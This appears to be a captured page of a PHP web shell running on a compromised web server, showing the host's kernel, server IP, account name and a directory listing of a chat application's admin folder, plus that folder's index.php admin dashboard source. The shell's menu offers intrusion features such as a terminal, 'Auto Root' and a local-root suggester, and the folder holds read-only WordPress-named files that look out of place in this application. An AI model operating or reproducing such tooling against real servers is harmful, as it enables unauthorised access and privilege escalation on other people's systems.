Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
chat.app /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
index.php
6.93
KB
-rw-r--r--
2026-02-23 10:52
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php session_start(); require_once '../includes/db.php'; require_once '../includes/functions.php'; if (!isLoggedIn()) { die("Access denied. Administrators only."); } $stmt = $pdo->prepare("SELECT role FROM users WHERE id = ?"); $stmt->execute([$_SESSION['user_id']]); $userRole = $stmt->fetchColumn(); if ($userRole !== 'admin') { die("Access denied. Administrators only."); } // Get Stats $stats = [ 'users' => $pdo->query("SELECT COUNT(*) FROM users")->fetchColumn(), 'active_users' => $pdo->query("SELECT COUNT(*) FROM users WHERE is_online = TRUE")->fetchColumn(), 'messages' => $pdo->query("SELECT COUNT(*) FROM messages")->fetchColumn(), 'friend_requests' => $pdo->query("SELECT COUNT(*) FROM friend_requests")->fetchColumn(), ]; $users = $pdo->query("SELECT id, username, email, role, is_online, last_seen, created_at FROM users ORDER BY created_at DESC")->fetchAll(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Admin Dashboard - ChatApp</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link href="../assets/css/style.css" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"> </head> <body class="bg-light"> <nav class="navbar navbar-expand-lg navbar-dark bg-dark"> <div class="container-fluid"> <a class="navbar-brand fw-bold" href="#"><i class="fas fa-shield-alt me-2"></i>Admin Panel</a> <div class="d-flex"> <a href="../dashboard.php" class="btn btn-outline-light me-2 btn-sm"><i class="fas fa-desktop me-1"></i>App</a> <a href="../logout.php" class="btn btn-danger btn-sm">Logout</a> </div> </div> </nav> <div class="container mt-5"> <h3 class="mb-4">System Overview</h3> <div class="row g-4 mb-5"> <div class="col-md-3"> <div class="card border-0 shadow-sm p-3 border-start border-4 border-primary"> <h6 class="text-muted text-uppercase fw-bold mb-1">Total Users</h6> <h2 class="mb-0 fw-bold"><?php echo $stats['users']; ?></h2> </div> </div> <div class="col-md-3"> <div class="card border-0 shadow-sm p-3 border-start border-4 border-success"> <h6 class="text-muted text-uppercase fw-bold mb-1">Active Users</h6> <h2 class="mb-0 fw-bold"><?php echo $stats['active_users']; ?></h2> </div> </div> <div class="col-md-3"> <div class="card border-0 shadow-sm p-3 border-start border-4 border-info"> <h6 class="text-muted text-uppercase fw-bold mb-1">Total Messages</h6> <h2 class="mb-0 fw-bold"><?php echo $stats['messages']; ?></h2> </div> </div> <div class="col-md-3"> <div class="card border-0 shadow-sm p-3 border-start border-4 border-warning"> <h6 class="text-muted text-uppercase fw-bold mb-1">Friend Requests</h6> <h2 class="mb-0 fw-bold"><?php echo $stats['friend_requests']; ?></h2> </div> </div> </div> <div class="card border-0 shadow-sm mb-5"> <div class="card-header bg-white border-bottom p-3 d-flex justify-content-between align-items-center"> <h5 class="mb-0 fw-bold">User Management</h5> </div> <div class="card-body p-0"> <div class="table-responsive"> <table class="table table-hover align-middle mb-0"> <thead class="table-light"> <tr> <th class="px-4">ID</th> <th>Username</th> <th>Email</th> <th>Role</th> <th>Status</th> <th>Joined</th> <th class="text-end px-4">Actions</th> </tr> </thead> <tbody> <?php foreach ($users as $u): ?> <tr> <td class="px-4 text-muted fw-bold">#<?php echo $u['id']; ?></td> <td> <div class="d-flex align-items-center"> <div class="avatar-sm bg-primary text-white rounded-circle d-flex align-items-center justify-content-center me-2 small fw-bold"> <?php echo strtoupper(substr($u['username'], 0, 1)); ?> </div> <?php echo htmlspecialchars($u['username']); ?> </div> </td> <td class="text-muted"><?php echo htmlspecialchars($u['email']); ?></td> <td><span class="badge <?php echo $u['role'] === 'admin' ? 'bg-danger' : 'bg-primary'; ?> rounded-pill"><?php echo $u['role']; ?></span></td> <td> <?php if ($u['is_online']): ?> <span class="badge bg-success bg-opacity-10 text-success border border-success border-opacity-25 rounded-pill"><i class="fas fa-circle me-1" style="font-size: 8px;"></i>Online</span> <?php else: ?> <span class="badge bg-secondary bg-opacity-10 text-secondary border border-secondary border-opacity-25 rounded-pill">Offline</span> <?php endif; ?> </td> <td class="text-muted small"><?php echo date('M d, Y', strtotime($u['created_at'])); ?></td> <td class="text-end px-4"> <button class="btn btn-sm btn-light text-primary rounded-circle"><i class="fas fa-edit"></i></button> <button class="btn btn-sm btn-light text-danger rounded-circle"><i class="fas fa-trash"></i></button> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> </div> </div> </body> </html>